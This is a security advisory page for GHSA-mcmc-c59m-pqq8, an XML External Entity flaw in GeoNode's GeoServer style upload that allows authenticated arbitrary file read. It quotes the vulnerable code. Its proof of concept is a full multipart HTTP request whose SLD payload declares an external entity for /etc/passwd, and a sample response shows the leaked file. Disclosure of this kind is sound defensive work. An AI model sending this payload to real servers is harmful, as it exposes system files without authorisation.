Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-mcmc-c59m-pqq8
No affected components available
Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
- Create a guest/non-privileged account and log in.
- Upload a dataset through
/catalogue/#/upload/datasetwhose name we will be referencing as<DATASET_NAME>. - Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of
/etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
<NamedLayer>
<UserStyle>
<Name>&ent;</Name>
</UserStyle>
</NamedLayer>
</foo>
------WebKitFormBoundaryfoo--
Sample response:
HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}
Impact
This issue may lead to authenticated Arbitrary File Read.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard